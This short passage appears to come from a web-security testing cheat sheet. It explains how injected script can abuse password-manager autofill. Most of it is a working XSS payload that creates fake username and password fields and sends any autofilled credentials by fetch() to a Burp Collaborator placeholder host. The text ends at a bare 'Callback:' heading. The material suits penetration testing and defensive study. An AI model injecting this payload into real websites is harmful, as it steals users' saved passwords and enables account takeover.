XSS+CSRF to Capture Passwords¶
Password managers that automatically submit a username and password using forms allow bypassing common XSS data-exfiltration protections.
Here's an example payload that provides username
and password
fields and auto-submits any filled values back to Burp Collaborator:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLAB_SUB.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Callback: